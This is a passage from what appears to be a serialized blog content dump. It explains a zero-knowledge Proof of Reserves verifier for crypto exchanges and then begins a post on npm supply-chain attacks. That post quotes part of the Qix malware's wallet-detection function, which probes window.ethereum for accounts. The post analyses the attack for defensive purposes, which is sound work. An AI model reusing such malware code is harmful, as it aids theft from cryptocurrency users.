:2996},{"type":21,"tag":153,"props":98795,"children":98797},{"className":98796},[24437],[98798],{"type":26,"value":24440},{"type":21,"tag":153,"props":98800,"children":98802},{"className":98801},[6767],[98803],{"type":21,"tag":153,"props":98804,"children":98806},{"className":98805,"style":95427},[6772],[98807],{"type":21,"tag":153,"props":98808,"children":98809},{},[],{"type":21,"tag":153,"props":98811,"children":98813},{"className":98812},[6852],[98814],{"type":26,"value":6855},{"type":21,"tag":153,"props":98816,"children":98818},{"className":98817,"style":6859},[6820],[],{"type":21,"tag":153,"props":98820,"children":98822},{"className":98821},[6742,24280],[98823],{"type":26,"value":96812},{"type":21,"tag":153,"props":98825,"children":98827},{"className":98826},[6742,24280],[98828],{"type":26,"value":13372},{"type":21,"tag":153,"props":98830,"children":98832},{"className":98831},[6742],[98833,98838],{"type":21,"tag":153,"props":98834,"children":98836},{"className":98835},[6742,24280],[98837],{"type":26,"value":86642},{"type":21,"tag":153,"props":98839,"children":98841},{"className":98840},[6757],[98842],{"type":21,"tag":153,"props":98843,"children":98845},{"className":98844},[6762,24334],[98846,98875],{"type":21,"tag":153,"props":98847,"children":98849},{"className":98848},[6767],[98850,98870],{"type":21,"tag":153,"props":98851,"children":98853},{"className":98852,"style":95396},[6772],[98854],{"type":21,"tag":153,"props":98855,"children":98856},{"style":95400},[98857,98861],{"type":21,"tag":153,"props":98858,"children":98860},{"className":98859,"style":6782},[6781],[],{"type":21,"tag":153,"props":98862,"children":98864},{"className":98863},[6787,6788,6789,6790],[98865],{"type":21,"tag":153,"props":98866,"children":98868},{"className":98867},[6742,6790],[98869],{"type":26,"value":3033},{"type":21,"tag":153,"props":98871,"children":98873},{"className":98872},[24437],[98874],{"type":26,"value":24440},{"type":21,"tag":153,"props":98876,"children":98878},{"className":98877},[6767],[98879],{"type":21,"tag":153,"props":98880,"children":98882},{"className":98881,"style":95427},[6772],[98883],{"type":21,"tag":153,"props":98884,"children":98885},{},[],{"type":21,"tag":153,"props":98887,"children":98889},{"className":98888},[6852],[98890],{"type":26,"value":6855},{"type":21,"tag":153,"props":98892,"children":98894},{"className":98893,"style":6859},[6820],[],{"type":21,"tag":153,"props":98896,"children":98898},{"className":98897},[6742],[98899],{"type":26,"value":12313},{"type":21,"tag":153,"props":98901,"children":98903},{"className":98902},[6852],[98904],{"type":26,"value":6855},{"type":21,"tag":153,"props":98906,"children":98908},{"className":98907,"style":6859},[6820],[],{"type":21,"tag":153,"props":98910,"children":98912},{"className":98911},[6742,24280],[98913],{"type":26,"value":96812},{"type":21,"tag":153,"props":98915,"children":98917},{"className":98916},[6742,24280],[98918],{"type":26,"value":13372},{"type":21,"tag":153,"props":98920,"children":98922},{"className":98921},[6742],[98923,98928],{"type":21,"tag":153,"props":98924,"children":98926},{"className":98925},[6742,24280],[98927],{"type":26,"value":86642},{"type":21,"tag":153,"props":98929,"children":98931},{"className":98930},[6757],[98932],{"type":21,"tag":153,"props":98933,"children":98935},{"className":98934},[6762,24334],[98936,98970],{"type":21,"tag":153,"props":98937,"children":98939},{"className":98938},[6767],[98940,98965],{"type":21,"tag":153,"props":98941,"children":98943},{"className":98942,"style":95396},[6772],[98944],{"type":21,"tag":153,"props":98945,"children":98946},{"style":95400},[98947,98951],{"type":21,"tag":153,"props":98948,"children":98950},{"className":98949,"style":6782},[6781],[],{"type":21,"tag":153,"props":98952,"children":98954},{"className":98953},[6787,6788,6789,6790],[98955],{"type":21,"tag":153,"props":98956,"children":98958},{"className":98957},[6742,6790],[98959],{"type":21,"tag":153,"props":98960,"children":98962},{"className":98961},[6742,6790],[98963],{"type":26,"value":98964},"31",{"type":21,"tag":153,"props":98966,"children":98968},{"className":98967},[24437],[98969],{"type":26,"value":24440},{"type":21,"tag":153,"props":98971,"children":98973},{"className":98972},[6767],[98974],{"type":21,"tag":153,"props":98975,"children":98977},{"className":98976,"style":95427},[6772],[98978],{"type":21,"tag":153,"props":98979,"children":98980},{},[],{"type":21,"tag":153,"props":98982,"children":98984},{"className":98983},[24431],[98985],{"type":26,"value":2071},{"type":26,"value":9187},{"type":21,"tag":8055,"props":98988,"children":98989},{},[98990],{"type":26,"value":97132},{"type":21,"tag":91,"props":98992,"children":98993},{},[98994,98999,99000],{"type":21,"tag":5302,"props":98995,"children":98996},{},[98997],{"type":26,"value":98998},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":26,"value":9187},{"type":21,"tag":8055,"props":99001,"children":99002},{},[99003],{"type":26,"value":97416},{"type":21,"tag":22,"props":99005,"children":99006},{},[99007],{"type":26,"value":99008},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":21,"tag":22,"props":99010,"children":99011},{},[99012],{"type":21,"tag":3644,"props":99013,"children":99015},{"alt":52869,"src":99014},"/posts/por/recursive-circuit.png",[],{"type":21,"tag":66,"props":99017,"children":99019},{"id":99018},"global-proof-and-inclusion-proofs",[99020],{"type":26,"value":99021},"Global Proof and Inclusion Proofs",{"type":21,"tag":114,"props":99023,"children":99024},{"id":12003},[99025],{"type":26,"value":99026},"Proving",{"type":21,"tag":22,"props":99028,"children":99029},{},[99030,99032,99038,99039,99045,99046,99052],{"type":26,"value":99031},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":21,"tag":78,"props":99033,"children":99035},{"className":99034},[],[99036],{"type":26,"value":99037},"merkle_tree.json",{"type":26,"value":1670},{"type":21,"tag":78,"props":99040,"children":99042},{"className":99041},[],[99043],{"type":26,"value":99044},"final_proof.json",{"type":26,"value":9217},{"type":21,"tag":78,"props":99047,"children":99049},{"className":99048},[],[99050],{"type":26,"value":99051},"private_nonces.json",{"type":26,"value":99053}," files.",{"type":21,"tag":22,"props":99055,"children":99056},{},[99057],{"type":26,"value":99058},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":21,"tag":22,"props":99060,"children":99061},{},[99062,99064,99070,99072,99077],{"type":26,"value":99063},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":21,"tag":78,"props":99065,"children":99067},{"className":99066},[],[99068],{"type":26,"value":99069},"inclusion_proof_\u003Cid>.json",{"type":26,"value":99071},"). ",{"type":21,"tag":5302,"props":99073,"children":99074},{},[99075],{"type":26,"value":99076},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":26,"value":355},{"type":21,"tag":114,"props":99079,"children":99081},{"id":99080},"verifying",[99082],{"type":26,"value":99083},"Verifying",{"type":21,"tag":22,"props":99085,"children":99086},{},[99087],{"type":21,"tag":8055,"props":99088,"children":99089},{},[99090],{"type":26,"value":99091},"Global Proof",{"type":21,"tag":22,"props":99093,"children":99094},{},[99095,99097,99102,99103,99108],{"type":26,"value":99096},"To verify the global proof, the code deserializes the ",{"type":21,"tag":78,"props":99098,"children":99100},{"className":99099},[],[99101],{"type":26,"value":99037},{"type":26,"value":40243},{"type":21,"tag":78,"props":99104,"children":99106},{"className":99105},[],[99107],{"type":26,"value":99044},{"type":26,"value":99109}," files and performs these checks:",{"type":21,"tag":126,"props":99111,"children":99112},{},[99113,99118,99123,99128,99154],{"type":21,"tag":91,"props":99114,"children":99115},{},[99116],{"type":26,"value":99117},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":21,"tag":91,"props":99119,"children":99120},{},[99121],{"type":26,"value":99122},"Verify the ZK final proof.",{"type":21,"tag":91,"props":99124,"children":99125},{},[99126],{"type":26,"value":99127},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":21,"tag":91,"props":99129,"children":99130},{},[99131,99133,99139,99141,99146,99147,99152],{"type":26,"value":99132},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":21,"tag":78,"props":99134,"children":99136},{"className":99135},[],[99137],{"type":26,"value":99138},"merkle_tree_hash",{"type":26,"value":99140}," public input. This ensures that the ",{"type":21,"tag":78,"props":99142,"children":99144},{"className":99143},[],[99145],{"type":26,"value":99037},{"type":26,"value":52},{"type":21,"tag":78,"props":99148,"children":99150},{"className":99149},[],[99151],{"type":26,"value":99044},{"type":26,"value":99153}," are linked (they belong to the same global proof).",{"type":21,"tag":91,"props":99155,"children":99156},{},[99157],{"type":26,"value":99158},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":21,"tag":22,"props":99160,"children":99161},{},[99162],{"type":21,"tag":8055,"props":99163,"children":99164},{},[99165],{"type":26,"value":99166},"Inclusion Proof",{"type":21,"tag":22,"props":99168,"children":99169},{},[99170,99172,99177,99179,99184],{"type":26,"value":99171},"To verify the inclusion proof, the code deserializes the ",{"type":21,"tag":78,"props":99173,"children":99175},{"className":99174},[],[99176],{"type":26,"value":99069},{"type":26,"value":99178}," file and also the ",{"type":21,"tag":78,"props":99180,"children":99182},{"className":99181},[],[99183],{"type":26,"value":99044},{"type":26,"value":99185},". After that, it performs these checks:",{"type":21,"tag":126,"props":99187,"children":99188},{},[99189,99193,99198,99203],{"type":21,"tag":91,"props":99190,"children":99191},{},[99192],{"type":26,"value":99122},{"type":21,"tag":91,"props":99194,"children":99195},{},[99196],{"type":26,"value":99197},"Verify if the Merkle tree root is the same as in the final proof.",{"type":21,"tag":91,"props":99199,"children":99200},{},[99201],{"type":26,"value":99202},"Recalculate the user-related node leaf hash.",{"type":21,"tag":91,"props":99204,"children":99205},{},[99206],{"type":26,"value":99207},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":21,"tag":66,"props":99209,"children":99211},{"id":99210},"por-verifier-server",[99212],{"type":26,"value":99213},"PoR Verifier Server",{"type":21,"tag":22,"props":99215,"children":99216},{},[99217,99219,99225],{"type":26,"value":99218},"To automate the verification process, we created a ",{"type":21,"tag":29,"props":99220,"children":99222},{"href":94855,"rel":99221},[33],[99223],{"type":26,"value":99224},"verifier server",{"type":26,"value":99226}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":21,"tag":22,"props":99228,"children":99229},{},[99230],{"type":26,"value":99231},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":21,"tag":22,"props":99233,"children":99234},{},[99235],{"type":21,"tag":3644,"props":99236,"children":99238},{"alt":52869,"src":99237},"/posts/por/backpack-por.png",[],{"type":21,"tag":22,"props":99240,"children":99241},{},[99242],{"type":26,"value":99243},"Here is a breakdown of what fields represent and why they are required:",{"type":21,"tag":87,"props":99245,"children":99246},{},[99247,99257,99267,99277,99287,99297],{"type":21,"tag":91,"props":99248,"children":99249},{},[99250,99255],{"type":21,"tag":8055,"props":99251,"children":99252},{},[99253],{"type":26,"value":99254},"Status",{"type":26,"value":99256}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":21,"tag":91,"props":99258,"children":99259},{},[99260,99265],{"type":21,"tag":8055,"props":99261,"children":99262},{},[99263],{"type":26,"value":99264},"Proof Timestamp",{"type":26,"value":99266}," --> when the proof was generated by the exchange.",{"type":21,"tag":91,"props":99268,"children":99269},{},[99270,99275],{"type":21,"tag":8055,"props":99271,"children":99272},{},[99273],{"type":26,"value":99274},"Verify Timestamp",{"type":26,"value":99276}," --> when the proof was verified by the PoR server.",{"type":21,"tag":91,"props":99278,"children":99279},{},[99280,99285],{"type":21,"tag":8055,"props":99281,"children":99282},{},[99283],{"type":26,"value":99284},"Proof File URL",{"type":26,"value":99286}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":21,"tag":91,"props":99288,"children":99289},{},[99290,99295],{"type":21,"tag":8055,"props":99291,"children":99292},{},[99293],{"type":26,"value":99294},"Prover Version",{"type":26,"value":99296}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":21,"tag":91,"props":99298,"children":99299},{},[99300,99305],{"type":21,"tag":8055,"props":99301,"children":99302},{},[99303],{"type":26,"value":99304},"File Hash (SHA256)",{"type":26,"value":99306}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":21,"tag":22,"props":99308,"children":99309},{},[99310],{"type":26,"value":99311},"Also, you can check the exchange's liabilities on the website:",{"type":21,"tag":22,"props":99313,"children":99314},{},[99315],{"type":21,"tag":3644,"props":99316,"children":99318},{"alt":52869,"src":99317},"/posts/por/backpack-por-liabilities.png",[],{"type":21,"tag":22,"props":99320,"children":99321},{},[99322,99324,99330,99332,99338],{"type":26,"value":99323},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":21,"tag":29,"props":99325,"children":99328},{"href":99326,"rel":99327},"https://backpack.exchange/reserves",[33],[99329],{"type":26,"value":99326},{"type":26,"value":99331}," and our verifier server for backpack at ",{"type":21,"tag":29,"props":99333,"children":99336},{"href":99334,"rel":99335},"https://backpack-por.osec.io/",[33],[99337],{"type":26,"value":99334},{"type":26,"value":355},{"type":21,"tag":66,"props":99340,"children":99342},{"id":99341},"self-verification",[99343],{"type":26,"value":99344},"Self-verification",{"type":21,"tag":22,"props":99346,"children":99347},{},[99348],{"type":26,"value":99349},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":21,"tag":114,"props":99351,"children":99353},{"id":99352},"how-to-verify-if-i-was-included",[99354],{"type":26,"value":99355},"How to verify if I was included?",{"type":21,"tag":22,"props":99357,"children":99358},{},[99359],{"type":26,"value":99360},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":21,"tag":126,"props":99362,"children":99363},{},[99364,99375,99393],{"type":21,"tag":91,"props":99365,"children":99366},{},[99367,99374],{"type":21,"tag":29,"props":99368,"children":99371},{"href":99369,"rel":99370},"https://github.com/otter-sec/por_v2/releases",[33],[99372],{"type":26,"value":99373},"Download the PoRv2 executable from our github",{"type":26,"value":355},{"type":21,"tag":91,"props":99376,"children":99377},{},[99378,99380,99385,99386,99391],{"type":26,"value":99379},"Download the inclusion and the final proof files from the exchange (",{"type":21,"tag":78,"props":99381,"children":99383},{"className":99382},[],[99384],{"type":26,"value":99069},{"type":26,"value":52},{"type":21,"tag":78,"props":99387,"children":99389},{"className":99388},[],[99390],{"type":26,"value":99044},{"type":26,"value":99392},") and put the files in the same directory as the PoRv2 app.",{"type":21,"tag":91,"props":99394,"children":99395},{},[99396,99398,99404],{"type":26,"value":99397},"Open the terminal and execute this: ",{"type":21,"tag":78,"props":99399,"children":99401},{"className":99400},[],[99402],{"type":26,"value":99403},"./plonky2_por verify-inclusion",{"type":26,"value":355},{"type":21,"tag":22,"props":99406,"children":99407},{},[99408],{"type":26,"value":99409},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":21,"tag":143,"props":99411,"children":99413},{"code":99412},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[99414],{"type":21,"tag":78,"props":99415,"children":99416},{"__ignoreMap":7},[99417],{"type":26,"value":99412},{"type":21,"tag":114,"props":99419,"children":99421},{"id":99420},"how-can-i-verify-the-global-proof",[99422],{"type":26,"value":99423},"How can I verify the global proof?",{"type":21,"tag":22,"props":99425,"children":99426},{},[99427],{"type":26,"value":99428},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":21,"tag":126,"props":99430,"children":99431},{},[99432,99441,99459],{"type":21,"tag":91,"props":99433,"children":99434},{},[99435,99440],{"type":21,"tag":29,"props":99436,"children":99438},{"href":99369,"rel":99437},[33],[99439],{"type":26,"value":99373},{"type":26,"value":355},{"type":21,"tag":91,"props":99442,"children":99443},{},[99444,99446,99451,99452,99457],{"type":26,"value":99445},"Download the ",{"type":21,"tag":78,"props":99447,"children":99449},{"className":99448},[],[99450],{"type":26,"value":99037},{"type":26,"value":40243},{"type":21,"tag":78,"props":99453,"children":99455},{"className":99454},[],[99456],{"type":26,"value":99044},{"type":26,"value":99458}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":21,"tag":91,"props":99460,"children":99461},{},[99462,99464,99469],{"type":26,"value":99463},"Open the terminal and execute ",{"type":21,"tag":78,"props":99465,"children":99467},{"className":99466},[],[99468],{"type":26,"value":99403},{"type":26,"value":99470},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":21,"tag":22,"props":99472,"children":99473},{},[99474],{"type":26,"value":99475},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":21,"tag":143,"props":99477,"children":99479},{"code":99478},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[99480],{"type":21,"tag":78,"props":99481,"children":99482},{"__ignoreMap":7},[99483],{"type":26,"value":99478},{"type":21,"tag":22,"props":99485,"children":99486},{},[99487],{"type":26,"value":99488},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":21,"tag":143,"props":99490,"children":99492},{"code":99491},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[99493],{"type":21,"tag":78,"props":99494,"children":99495},{"__ignoreMap":7},[99496],{"type":26,"value":99491},{"type":21,"tag":66,"props":99498,"children":99499},{"id":5568},[99500],{"type":26,"value":5571},{"type":21,"tag":22,"props":99502,"children":99503},{},[99504],{"type":26,"value":99505},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":21,"tag":22,"props":99507,"children":99508},{},[99509,99511,99517],{"type":26,"value":99510},"We are currently working with Backpack to implement this algorithm ",{"type":21,"tag":29,"props":99512,"children":99514},{"href":99326,"rel":99513},[33],[99515],{"type":26,"value":99516},"in production",{"type":26,"value":99518}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":21,"tag":22,"props":99520,"children":99521},{},[99522,99524,99531],{"type":26,"value":99523},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":21,"tag":29,"props":99525,"children":99528},{"href":99526,"rel":99527},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[33],[99529],{"type":26,"value":99530},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":26,"value":355},{"title":7,"searchDepth":166,"depth":166,"links":99533},[99534,99535,99536,99537,99540,99545,99549,99550,99554],{"id":94783,"depth":166,"text":94786},{"id":94864,"depth":166,"text":94867},{"id":94934,"depth":166,"text":94937},{"id":94988,"depth":166,"text":94991,"children":99538},[99539],{"id":95067,"depth":225,"text":95070},{"id":95155,"depth":166,"text":95158,"children":99541},[99542,99543,99544],{"id":95228,"depth":225,"text":95231},{"id":95700,"depth":225,"text":95703},{"id":97439,"depth":225,"text":97442},{"id":99018,"depth":166,"text":99021,"children":99546},[99547,99548],{"id":12003,"depth":225,"text":99026},{"id":99080,"depth":225,"text":99083},{"id":99210,"depth":166,"text":99213},{"id":99341,"depth":166,"text":99344,"children":99551},[99552,99553],{"id":99352,"depth":225,"text":99355},{"id":99420,"depth":225,"text":99423},{"id":5568,"depth":166,"text":5571},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":99559,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99560,"description":99561,"date":99562,"author":33895,"image":99563,"isFeatured":16,"onBlogPage":16,"tags":99566,"body":99569,"_type":5619,"_id":101995,"_source":5621,"_file":101996,"_stem":101997,"_extension":5624},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":99564,"width":99565,"height":16340},"/posts/supply-chain-attcks/title.png",1536,[99567,99568],"npm","supply-chain",{"type":18,"children":99570,"toc":101978},[99571,99584,99589,99594,99600,99605,99613,99943,99951,100514,100522,101229,101235,101240,101246,101251,101256,101262,101267,101279,101284,101310,101397,101409,101434,101450,101455,101460,101666,101708,101713,101725,101731,101743,101785,101798,101878,101890,101903,101910,101921,101929,101935,101948,101953,101957,101962,101974],{"type":21,"tag":22,"props":99572,"children":99573},{},[99574,99576,99582],{"type":26,"value":99575},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":21,"tag":78,"props":99577,"children":99579},{"className":99578},[],[99580],{"type":26,"value":99581},"chalk",{"type":26,"value":99583},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":21,"tag":22,"props":99585,"children":99586},{},[99587],{"type":26,"value":99588},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":21,"tag":22,"props":99590,"children":99591},{},[99592],{"type":26,"value":99593},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":21,"tag":66,"props":99595,"children":99597},{"id":99596},"qix-malware-how-it-worked",[99598],{"type":26,"value":99599},"Qix Malware: How It Worked",{"type":21,"tag":22,"props":99601,"children":99602},{},[99603],{"type":26,"value":99604},"The attacker published modified versions of packages with code designed to do three things:",{"type":21,"tag":126,"props":99606,"children":99607},{},[99608],{"type":21,"tag":91,"props":99609,"children":99610},{},[99611],{"type":26,"value":99612},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":21,"tag":143,"props":99614,"children":99616},{"code":99615,"language":34060,"meta":7,"className":34058,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[99617],{"type":21,"tag":78,"props":99618,"children":99619},{"__ignoreMap":7},[99620,99640,99652,99696,99713,99720,99756,99768,99796,99816,99836,99848,99855,99890,99910,99922,99929,99936],{"type":21,"tag":153,"props":99621,"children":99622},{"class":155,"line":156},[99623,99627,99631,99636],{"type":21,"tag":153,"props":99624,"children":99625},{"style":170},[99626],{"type":26,"value":38838},{"type":21,"tag":153,"props":99628,"children":99629},{"style":170},[99630],{"type":26,"value":40907},{"type":21,"tag":153,"props":99632,"children":99633},{"style":181},[99634],{"type":26,"value":99635}," checkethereumw",{"type":21,"tag":153,"props":99637,"children":99638},{"style":160},[99639],{"type":26,"value":18433},{"type":21,"tag":153,"props":99641,"children":99642},{"class":155,"line":166},[99643,99648],{"type":21,"tag":153,"props":99644,"children":99645},{"style":1751},[99646],{"type":26,"value":99647},"  try",{"type":21,"tag":153,"props":99649,"children":99650},{"style":160},[99651],{"type":26,"value":236},{"type":21,"tag":153,"props":99653,"children":99654},{"class":155,"line":225},[99655,99659,99664,99668,99672,99676,99680,99684,99688,99692],{"type":21,"tag":153,"props":99656,"children":99657},{"style":170},[99658],{"type":26,"value":53959},{"type":21,"tag":153,"props":99660,"children":99661},{"style":192},[99662],{"type":26,"value":99663}," _0x124ed3",{"type":21,"tag":153,"props":99665,"children":99666},{"style":198},[99667],{"type":26,"value":255},{"type":21,"tag":153,"props":99669,"children":99670},{"style":1751},[99671],{"type":26,"value":38904},{"type":21,"tag":153,"props":99673,"children":99674},{"style":192},[99675],{"type":26,"value":34103},{"type":21,"tag":153,"props":99677,"children":99678},{"style":160},[99679],{"type":26,"value":355},{"type":21,"tag":153,"props":99681,"children":99682},{"style":192},[99683],{"type":26,"value":34112},{"type":21,"tag":153,"props":99685,"children":99686},{"style":160},[99687],{"type":26,"value":355},{"type":21,"tag":153,"props":99689,"children":99690},{"style":181},[99691],{"type":26,"value":34188},{"type":21,"tag":153,"props":99693,"children":99694},{"style":160},[99695],{"type":26,"value":17840},{"type":21,"tag":153,"props":99697,"children":99698},{"class":155,"line":239},[99699,99704,99708],{"type":21,"tag":153,"props":99700,"children":99701},{"style":671},[99702],{"type":26,"value":99703},"      'method'",{"type":21,"tag":153,"props":99705,"children":99706},{"style":192},[99707],{"type":26,"value":201},{"type":21,"tag":153,"props":99709,"children":99710},{"style":671},[99711],{"type":26,"value":99712}," \"eth_accounts\"\n",{"type":21,"tag":153,"props":99714,"children":99715},{"class":155,"line":382},[99716],{"type":21,"tag":153,"props":99717,"children":99718},{"style":160},[99719],{"type":26,"value":34950},{"type":21,"tag":153,"props":99721,"children":99722},{"class":155,"line":501},[99723,99727,99731,99736,99740,99744,99748,99752],{"type":21,"tag":153,"props":99724,"children":99725},{"style":1751},[99726],{"type":26,"value":2434},{"type":21,"tag":153,"props":99728,"children":99729},{"style":160},[99730],{"type":26,"value":5820},{"type":21,"tag":153,"props":99732,"children":99733},{"style":192},[99734],{"type":26,"value":99735},"_0x124ed3",{"type":21,"tag":153,"props":99737,"children":99738},{"style":160},[99739],{"type":26,"value":355},{"type":21,"tag":153,"props":99741,"children":99742},{"style":192},[99743],{"type":26,"value":11230},{"type":21,"tag":153,"props":99745,"children":99746},{"style":198},[99747],{"type":26,"value":16902},{"type":21,"tag":153,"props":99749,"children":99750},{"style":300},[99751],{"type":26,"value":5799},{"type":21,"tag":153,"props":99753,"children":99754},{"style":160},[99755],{"type":26,"value":2659},{"type":21,"tag":153,"props":99757,"children":99758},{"class":155,"line":533},[99759,99764],{"type":21,"tag":153,"props":99760,"children":99761},{"style":181},[99762],{"type":26,"value":99763},"      runmask",{"type":21,"tag":153,"props":99765,"children":99766},{"style":160},[99767],{"type":26,"value":839},{"type":21,"tag":153,"props":99769,"children":99770},{"class":155,"line":542},[99771,99775,99779,99784,99788,99792],{"type":21,"tag":153,"props":99772,"children":99773},{"style":1751},[99774],{"type":26,"value":41978},{"type":21,"tag":153,"props":99776,"children":99777},{"style":160},[99778],{"type":26,"value":5820},{"type":21,"tag":153,"props":99780,"children":99781},{"style":192},[99782],{"type":26,"value":99783},"rund",{"type":21,"tag":153,"props":99785,"children":99786},{"style":198},[99787],{"type":26,"value":66680},{"type":21,"tag":153,"props":99789,"children":99790},{"style":300},[99791],{"type":26,"value":7253},{"type":21,"tag":153,"props":99793,"children":99794},{"style":160},[99795],{"type":26,"value":2659},{"type":21,"tag":153,"props":99797,"children":99798},{"class":155,"line":762},[99799,99804,99808,99812],{"type":21,"tag":153,"props":99800,"children":99801},{"style":192},[99802],{"type":26,"value":99803},"        